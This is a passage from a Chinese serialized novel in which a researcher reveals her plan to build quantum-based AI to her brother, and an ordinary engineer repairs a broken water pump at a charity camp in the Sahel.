不知过了多久，陆若溪似乎注意到了陆沉渊，才开口道， “哥，你来了。” 她的目光，依然没有离开屏幕，声音却带着一丝不易察觉的欣喜。 “嗯。”陆沉渊应了一声，“过来看看你。” “不是让你多休息一段时间吗？‘开天’的研发，并不是急于一时的事情。” 他顿了顿，还是问出了口。 “新闻我看了。‘锋芒’和‘普罗米修斯’，来势汹汹。你这里压力大吗？” 陆若溪似乎刚听明白陆沉渊所说的。 “我并没有在赶‘开天’的进度啊。” “而且，压力？”她重复着这个词，微微歪了歪头，似乎有些不解。 “不，哥。” “那不是压力。” “那是一份，我等了很久的礼物。” 陆沉渊愣住了。 “礼物？” “对。”陆若溪的眼睛，似乎散发着微光。 她走到旁边的一块巨大白板前，上面画着一个复杂的神经网络结构图。 “‘开天’、‘锋芒’、‘普罗米修斯’，我们三家，本质上都是在做同一件事。” “把这套神经网络，做得更深，更广，更复杂。” “就像三位最顶级的赛车手，在同一条赛道上，把内燃机的性能，压榨到了物理定律的极限。” 她看着陆沉渊，认真地解释道， “他们，用最野蛮的追赶，让我看清了这条路的终点。” “这条基于经典计算的赛道，无论我们跑得多快，它都是有尽头的。我们能做的，只是无限逼近，却永远无法突破。” 陆若溪的语速不快，但每一个字都很有力量。 她不像一个身处商业战场中心的科学家。 她更像一个在科学圣殿里窥见了更高层真理的求道者。 竞争，对她而言不是零和博弈，而是让她看清脚下道路尽头的航标灯。 陆若溪已经不需要任何人为她遮风挡雨了。 她自己，就已经活成了一片可以容纳风雨的天空。 “所以，你找到新赛道了？”陆沉渊问。 “找到了。”陆若溪点头。 她没有再说下去。 而是拉着他，走进了旁边一间更小的独立的办公室。 这是她的专属空间。 四面墙壁都是满满的电子白板。 以及，地上散落的成堆的草稿纸。 电子白板和草稿纸上，写满了密密麻麻的推演公式。 那是一种，比外面数据屏上的符号，更原始，更抽象的数学语言。 第151章 苍穹之上的独行者 随后，苏阳跟了进来，默不作声地为陆沉渊倒了一杯水。 然后，苏阳开始整理其中一块已经被写满了的电子白板，将陆若溪流动的思想，储存到加密空间里。 他的动作熟练而自然，仿佛这个动作，他已经重复了千百遍。 “哥，你看。” 陆若溪指着一块电子白板。 上面，没有复杂的神经网络图。 只有一个仿佛悬浮在空中的，抽象的球体，和一些围绕着它的，匪夷所思的数学符号。 “我们以前所有的工作，都是基于‘比特’。不是0，就是1。” “我们让它变得，越来越复杂，越来越强大。” “但现在，我发现，我们或许，从一开始，地基就选错了。” 她的笔在那个经典的0和1之上，画了一个大大的叉。 “我们不应该，继续在二维的地图上，寻找宝藏。” 她的眼神，变得无比深邃。 “我们应该去创造一片，新的宇宙。” 陆沉渊看着这个妹妹，又看了看白板上，那些他完全无法理解的天书般的符号。 他忽然意识到，妹妹正在做的是一件比造出“开天”本身，更伟大，也更疯狂的事。 她要颠覆的，是现有人工智能的基石。 “若溪的意思是……”苏阳适时地为陆沉渊解释道，声音里带着无法掩饰的敬畏和自豪。 “她准备在人工智能领域，引入‘量子架构’。” “如果说，现在所有的大模型都是在用算盘去计算圆周率，我们比拼的只是谁的算盘更大，打得更快。” “那她现在要做的，是去发明计算机。” 苏阳的比喻，让陆沉渊瞬间明白了这件事的颠覆性意义。 “比特是开关，要么开，要么关。而量子比特，可以同时是开和关。一个量子比特，所能承载的信息，是指数级的。”苏阳补充道。 “她要构建的，是一个真正意义上的AI大脑。而不是一个模拟大脑的超级计算机。” 陆沉渊看着眼前的妹妹。 她还是那么瘦削，安静。 但她的身体里，仿佛蕴藏着一个正在爆炸的宇宙。 “这条路，很难。”陆沉渊的声音有些低沉。 “我知道。” “可能，不会有结果。” “我知道。” “那你……” “可是，哥。”陆若溪打断了他，她的目光似乎穿过了物理阻隔， “它就在那里。” “我看见它了。” “我看见了，那扇通往，更高维度计算空间的门。” “我不可能，假装没看见。” 说完，她就转过身，重新面对那块电子白板。 拿起笔，陷入了自己的世界。 她的眼中，再无他物。 只有那些，冰冷的却又充满了无穷魅力的数学符号。 时间，在这一刻仿佛静止了。 陆沉渊站在原地，久久无言。 他忽然感觉，自己和这个妹妹之间出现了一道看不见的鸿沟。 他可以用资本、用战略去撬动世界。 他甚至，已经将目光投向了星辰大海。 但是，他似乎再也跟上妹妹的思维。 她的思想，正在以一种恐怖的速度向上飞行。 飞向一个普通人类的智慧，永远也无法企及的苍穹之上。 他看着她，看着她沉浸在纯粹理性世界里的孤独的背影。 心中，忽然涌起一阵莫名的心疼。 高处不胜寒。 这条路，注定是孤独的。 就在这时，苏阳走上前，将一件薄薄的外套轻轻披在了陆若溪的肩上。 然后，他拿起她桌上那杯早已冷掉的咖啡，走出去。 片刻后，他已经换了一杯冒着热气的牛奶，回来了。 苏阳将牛奶，放在她手边。 整个过程，没有一句话。 陆若溪，也仿佛没有察觉。 但她的嘴角，却微微向上扬起了一个几乎看不见的弧度。 苏阳做完这一切，没有离开。 他只是，搬了一张椅子坐在不远处。 拿出自己的笔记本电脑，开始将陆若溪白板上的那些，最新的，零散的理论片段，转化为可以在经典计算机上运行的量子模拟算法。 他在用自己的方式，追赶着她的脚步。 他或许无法和她在同一个思想高度上并肩飞行。 但是，他是她身后那个永远为她清理跑道，补充燃料，确保她能飞得更高、更远的塔台。 陆沉渊看着这一幕，心中的担忧也放下了。 他的妹妹，并不孤独。 因为，她有苏阳。 有一个愿意用一生去仰望她，守护她，追随她的同路人。 这就够了。 …… 不知道过了多久。 婴儿床里的陆时安动了动，发出了哼哼唧唧的声音。 小家伙似乎是饿了。 陆沉渊走过去，将儿子抱了起来。 他对着陆若溪和苏阳，做了一个无声的告别的口型。 苏阳对他，点了点头。 陆若溪，依旧沉浸在她的世界里。 陆沉渊抱着儿子，转身离开了这间属于未来的办公室。 走出实验室，回到车里。 他熟练地，冲好奶粉，喂给怀里的儿子。 陆时安一边喝着奶，一边睁着，黑葡萄般的大眼睛，好奇地看着自己的父亲。 陆沉渊看着儿子，纯净无瑕的眼睛。 脑海里，却回响着，陆若溪刚才的话。 “它就在那里。” “我看见它了。” 他忽然笑了。 他低下头，在儿子温热的额头上亲了一下。 “安安。”他轻声说。 “你的姑姑，在为我们画一幅新宇宙的地图。” “而爸爸要做的，就是造一艘船。” “一艘能载着我们，去到那幅地图上任何地方的船。” 他抬起头，目光穿透车窗，望向了那片万里无云的湛蓝天空。 以及，天空之上，那更遥远的深邃宇宙。 每个人，都有自己的战场。 若溪的战场，在理论的尽头。 而他的战场，在星辰的彼端。 他们兄妹，正以各自的方式将人类文明的边界，向前，再向前，用尽全力地推开。 哪怕，只有一厘米。 这个时候，陆沉渊的手机响起。 是墨清漓打来的。 “阿渊，若溪怎么样？” 墨清漓的声音，一下子将陆沉渊从纯粹的理性的抽象世界，拉回到这个具象的世界。 陆沉渊没有回答墨清漓的问题，而是说了一句不相干的话， “清漓，我爱你。我现在非常，非常想你！” 电话另一端的墨清漓明显一愣，两人在一起六七年了，陆沉渊很少说这种情话。 然后，满是柔情的声音通过电话，传到陆沉渊耳里。 “嗯，阿渊，我也爱你。你和安安，过来接我下班吧。” 第152章 普通人 风是热的，土是红的，天空是一种褪了色的蓝。 这是“远方基金会”在萨赫勒地区建立的第三号营地。 此时的营地里，最大的危机是水泵坏了，而且已经三天了。 三天，意味着营地里五百多人的唯一洁净水源断了。 空气里，弥漫着一种焦躁和不安。 还有，越来越浓的绝望的气味。 陆芊芊站在坏掉的水泵前。 她戴着一顶宽檐遮阳帽，穿着有些破旧的工装裤和一件简单的防晒长袖衫。 陆芊芊的眼神里早就没有了京州大小姐的娇纵，只剩下平静和专注。 她拿着扳手，和营地的本地工程师一起检查着每一个零件。 汗水浸透了她的衣背，油污沾满了她的双手。 她已经不是第一次做这种事了。 姬无双站在她身后不远处，始终处于警戒状态。 水源中断，最容易滋生混乱。 再有半天，如果还是没有转机的话，姬无双会强制带领陆芊芊离开三号营地，回到安全区域。 不能拖到绝境之中，再撤离。 “不行。”本地工程师说道，无奈地摊开手， “核心的传动轴断了，我们修不了。” 陆芊芊放下扳手，用手背擦了擦额头的汗，留下一道黑色的油印。 “最近的补给车队，什么时候到？”她问。 “按计划，是下周。”姬无双回答。 顿了顿，她继续说道， “但路况不好，可能会延迟。” 下周，太久了。 营地里储备的桶装水，最多还能撑三天。 而且，那是优先供给孩子和病人的。 陆芊芊沉默了。 她看着远处，那些抱着空桶默默等待的妇人和孩子。 他们的眼神，像这片干涸的土地一样，似乎将要枯萎。 在京州的写字楼里，人们讨论着人工智能，讨论着万亿市值的公司，讨论着星辰大海。 在这里，一个价值几百块钱的传动轴，就能决定着几百人的生死。 必须向总部求援！ 动用直升机空投配件和水。 这么做虽然成本很高，但是人命是没有成本。 陆芊芊拿起了卫星电话。 就在这时，远处地平线上扬起一阵烟尘，一辆越野车正向营地驶来。 姬无双的身体瞬间绷紧，拉着陆芊芊躲到一个掩体后方。 同时，姬无双的手摸向腰间的枪匣。 这个地区，有政府军，有反叛军，还有数不清的为了生存而抢劫的匪帮。 任何一辆陌生的车都可能是危险。 营地的护卫队也紧张起来，握紧了手里的旧步枪。 车子越来越近。 终于，众人看清了，不是军车，也不是匪帮的皮卡。 是一辆普通的越野车，车顶上固定着“远方基金会”的白色旗帜。 陆芊芊和姬无双都愣住了，这不是计划内的车辆。 车子在营地门口停下。 车门打开，先下来的是一个全副武装的安保人员。 这是远方基金会在这些地区的必要措施。 然后，一个普通身材的夏国男人才从驾驶座上下来。 他穿着一身户外速干衣，戴着墨镜，一副风尘仆仆的模样。 他摘下墨镜，露出一张再普通不过的脸庞。 他看到了姬无双，脸上露出了一个有些疲惫却无比安心的笑容。 “无双。” 姬无双彻底怔住了，她脸上的冰冷和警惕瞬间融化。 一种无法言说的情绪，涌上心头。 “陈雷？”她的声音，带着一丝自己都未曾察觉的颤抖。 “你怎么来了？” 陈雷，姬无双的丈夫。 一个在一家普通国企里做了十年现场工程师的普通男人。 这个普通的男人，相貌普通，经历更是普通。 甚至，他从出生，到上学，再到工作，几乎都没离开过他出生的城市。 就这样一个男人，跨越了半个星球，来到了这里。 陈雷快步走过来，给了妻子一个结结实实的拥抱。 “我想你了。”他说的很简单。 “就跟单位请了个长假，来看看你。” 他放开她，目光转向陆芊芊。 “陆小姐，你好。我是陈雷。”他伸出手。 陆芊芊握住他的手，那是一只布满老茧却很有力的手。 “你好，陈先生。欢迎你。” “我听无双说，你们这里缺工程师。” 陈雷指了指坏掉的水泵， “我来看看，能不能帮上忙。” 他说得轻描淡写，仿佛不是穿越了半个星球，冒着生命危险来到这片战乱之地。 而只是，下班后顺路来帮邻居修个水管。 姬无双看着自己的丈夫，眼眶突然有些发热。 她离开京州的时候，他什么也没说，只是帮她收拾行李。 她以为，他不懂。 不懂她为什么，要放弃安稳的生活跟着陆芊芊来这种地方。 现在她明白了。 他什么都懂。 他只是，用他自己的方式，在支持她、追随着她。 这个不善言辞的男人，用最直接的行动，表达了他全部的爱和勇气。 陈雷没有再多说废话。 他打开车子后备箱。 里面塞满了各种专业的工具箱，和一些精密的备用零件。 “我来之前，研究了你们这边常用几种水泵的型号和图纸。” 他一边说，一边拿出工具， “我想，总有我能用上的地方。” 他走到水泵前蹲下，开始逐项检查。 他的动作专业且利落。 半个小时后。 陈雷抬起头。 “可以修的。”他简单说道。 “我车里带来的备用轴，可以适配。但需要重新打磨接口，还要做一个卡套。给我三个小时。” 那一刻，姬无双觉得，自己的男人身上在发光。 是一种，能将绝望，重新转化为希望的理性之光。 之后的三个小时里，陈雷像一台不知疲倦的机器。 不断地进行切割、打磨、焊接，火花四溅。 本地地工程师就在旁边给他打下手，递工具、搬运材料以及擦汗。 整个营地的人，都围在不远处安静地看着。 他们看着这个，从天而降的夏国工程师。 看着他，如何用一堆冰冷的金属去拯救他们的生命。 傍晚时分。 夕阳将大地染成金色。 陈雷拧紧了最后一颗螺丝。 他站起身，抹了一把脸上的油污。 “好了。” 他按下启动按钮，水泵发出了低沉的轰鸣。 几秒钟后，一股带着些许浑浊的水流从出水口流淌出来。 整个营地，瞬间爆发出雷鸣般的欢呼声。 孩子们尖叫着，冲向水流，任由清凉的水浇在他们身上。 妇人们喜极而泣，双手合十，向着陆芊芊和陈雷的方向不停地鞠躬。 而此时地陈雷，正被姬无双用毛巾擦拭着脸上的汗水和油污。 陆芊芊是第一次，看到多年相伴的无双姐，居然也有这样的一面。 而陈雷看着欢呼的人群，憨厚地笑着。 陆芊芊也笑了。 这也许，就是一个普通的人，用自己的专业和善良，为这个破碎的世界，带来的一点点微小而确实的改变。